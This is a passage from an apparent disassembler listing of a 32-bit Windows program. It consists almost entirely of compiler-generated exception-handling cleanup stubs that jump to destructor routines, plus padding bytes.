		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-134h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E8h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404CC0	proc near		; DATA XREF: sub_404CC0+8o
		mov	eax, offset dword_43F9D0
		jmp	sub_437AB8
SEH_404CC0	endp

; ---------------------------------------------------------------------------
		db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_439820:				; DATA XREF: ___:0043FBD4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-28h]
		and	eax, 1
		test	eax, eax
		jz	locret_43983E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43983E:				; CODE XREF: ___:00439830j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406730	proc near		; DATA XREF: sub_406730+2o
		mov	eax, offset dword_43FBA8
		jmp	sub_437AB8
SEH_406730	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------


loc_439860:				; DATA XREF: ___:0043FC0Co
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-198h]
		and	eax, 1
		test	eax, eax
		jz	locret_439884
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_439884:				; CODE XREF: ___:00439876j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4068E0	proc near		; DATA XREF: sub_4068E0+2o
		mov	eax, offset dword_43FBE0
		jmp	sub_437AB8
SEH_4068E0	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-454h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398AB:				; DATA XREF: ___:0043FC44o
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398B6:				; DATA XREF: ___:0043FC4Co
		lea	ecx, [ebp-424h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406C80	proc near		; DATA XREF: sub_406C80+8o
		mov	eax, offset dword_43FC18
		jmp	sub_437AB8
SEH_406C80	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407080	proc near		; DATA XREF: sub_407080+2o
		mov	eax, offset dword_43FC58
		jmp	sub_437AB8
SEH_407080	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4076B0	proc near		; DATA XREF: sub_4076B0+8o
		mov	eax, offset dword_43FC88
		jmp	sub_437AB8
SEH_4076B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439928:				; DATA XREF: ___:0043FCE4o
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407740	proc near		; DATA XREF: sub_407740+8o
		mov	eax, offset dword_43FCB8
		jmp	sub_437AB8
SEH_407740	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-2C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43994B:				; DATA XREF: ___:0043FD1Co
		lea	ecx, [ebp-2DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-174h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-15Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-114h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-144h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-330h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-318h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-34Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-12Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2F8h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-300h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4077E0	proc near		; DATA XREF: sub_4077E0+2o
		mov	eax, offset dword_43FCF0
		jmp	sub_437AB8
SEH_4077E0	endp

; ---------------------------------------------------------------------------
		db 0CFh	dup(0CCh)
		dd 90C84D8Dh, 0C5574CE9h
		db 75h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_409660	proc near		; DATA XREF: sub_409660+2o
		mov	eax, offset dword_4400A0
		jmp	sub_437AB8
SEH_409660	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A370	proc near		; DATA XREF: sub_40A370+2o
		mov	eax, offset dword_4400D0
		jmp	sub_437AB8
SEH_40A370	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-38h]
		and	eax, 1
		test	eax, eax
		jz	locret_439D86
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_439D86:				; CODE XREF: ___:00439D78j
		retn
; ---------------------------------------------------------------------------


loc_439D87:				; DATA XREF: ___:0044012Co
		lea	ecx, [ebp-34h]
		jmp	sub_401596
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A510	proc near		; DATA XREF: sub_40A510+2o
		mov	eax, offset dword_440100
		jmp	sub_437AB8
SEH_40A510	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0E9C84D8Dh, 75C556CDh
		db 74h
; ---------------------------------------------------------------------------


loc_439DB9:				; DATA XREF: ___:0040AA32o
		mov	eax, offset dword_440140
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AEF0	proc near		; DATA XREF: sub_40AEF0+5o
		mov	eax, offset dword_440170
		jmp	sub_437AB8
SEH_40AEF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B070	proc near		; DATA XREF: sub_40B070+5o
		mov	eax, offset dword_4401D0
		jmp	sub_437AB8
SEH_40B070	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439DFB:				; DATA XREF: ___:0044025Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_40155F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B190	proc near		; DATA XREF: sub_40B190+2o
		mov	eax, offset dword_440230
		jmp	sub_437AB8
SEH_40B190	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439E4B:				; DATA XREF: ___:004402A4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_40155F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B250	proc near		; DATA XREF: sub_40B250+2o
		mov	eax, offset dword_440278
		jmp	sub_437AB8
SEH_40B250	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B2F0	proc near		; DATA XREF: sub_40B2F0+2o
		mov	eax, offset dword_4402C0
		jmp	sub_437AB8
SEH_40B2F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439EC8:				; DATA XREF: ___:0044032Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B510	proc near		; DATA XREF: sub_40B510+2o
		mov	eax, offset dword_440300
		jmp	sub_437AB8
SEH_40B510	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439EF8:				; DATA XREF: ___:0040B6D2o
		mov	eax, offset dword_440340
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439F30:				; DATA XREF: ___:0040B9B8o
		mov	eax, offset dword_440370
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C440	proc near		; DATA XREF: sub_40C440+2o
		mov	eax, offset dword_4403B8
		jmp	sub_437AB8
SEH_40C440	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A78h]
		jmp	loc_401B13
; ---------------------------------------------------------------------------


loc_439F7B:				; DATA XREF: ___:00440414o
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439F86:				; DATA XREF: ___:0044041Co
		lea	ecx, [ebp-0A54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C4E0	proc near		; DATA XREF: sub_40C4E0+8o
		mov	eax, offset dword_4403E8
		jmp	sub_437AB8
SEH_40C4E0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CBF0	proc near		; DATA XREF: sub_40CBF0+2o
		mov	eax, offset dword_440430
		jmp	sub_437AB8
SEH_40CBF0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-260h]
		jmp	loc_40228E
; ---------------------------------------------------------------------------


loc_439FEB:				; DATA XREF: ___:0044048Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439FF6:				; DATA XREF: ___:00440494o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A001:				; DATA XREF: ___:0044049Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A00C:				; DATA XREF: ___:004404A4o
		lea	ecx, [ebp-278h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CC90	proc near		; DATA XREF: sub_40CC90+8o
		mov	eax, offset dword_440460
		jmp	sub_437AB8
SEH_40CC90	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A04B:				; DATA XREF: ___:004404DCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CF40	proc near		; DATA XREF: sub_40CF40+2o
		mov	eax, offset dword_4404B0
		jmp	sub_437AB8
SEH_40CF40	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A07B:				; DATA XREF: ___:00440514o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A086:				; DATA XREF: ___:0040CFC2o
		mov	eax, offset dword_4404E8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D210	proc near		; DATA XREF: sub_40D210+2o
		mov	eax, offset dword_440520
		jmp	sub_437AB8
SEH_40D210	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-16Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A0EB:				; DATA XREF: ___:00440594o
		lea	ecx, [ebp-184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D660	proc near		; DATA XREF: sub_40D660+2o
		mov	eax, offset dword_440568
		jmp	sub_437AB8
SEH_40D660	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-604h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-634h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-664h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-67Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-61Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-694h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40DC20	proc near		; DATA XREF: sub_40DC20+2o
		mov	eax, offset dword_4405D8
		jmp	sub_437AB8
SEH_40DC20	endp

; ---------------------------------------------------------------------------
		db 27h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A228:				; DATA XREF: ___:0044069Co
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E2F0	proc near		; DATA XREF: sub_40E2F0+2o
		mov	eax, offset dword_440670
		jmp	sub_437AB8
SEH_40E2F0	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A278:				; DATA XREF: ___:004406F4o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E870	proc near		; DATA XREF: sub_40E870+2o
		mov	eax, offset dword_4406C8
		jmp	sub_437AB8
SEH_40E870	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A2C8:				; DATA XREF: ___:0044074Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40ED00	proc near		; DATA XREF: sub_40ED00+2o
		mov	eax, offset dword_440720
		jmp	sub_437AB8
SEH_40ED00	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40EE40	proc near		; DATA XREF: sub_40EE40+2o
		mov	eax, offset dword_440760
		jmp	sub_437AB8
SEH_40EE40	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A318:				; DATA XREF: ___:004407BCo
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A348:				; DATA XREF: ___:0040F218o
		mov	eax, offset dword_440790
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43A378:				; DATA XREF: ___:0044081Co
		mov	ecx, [ebp-28h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 16Ah
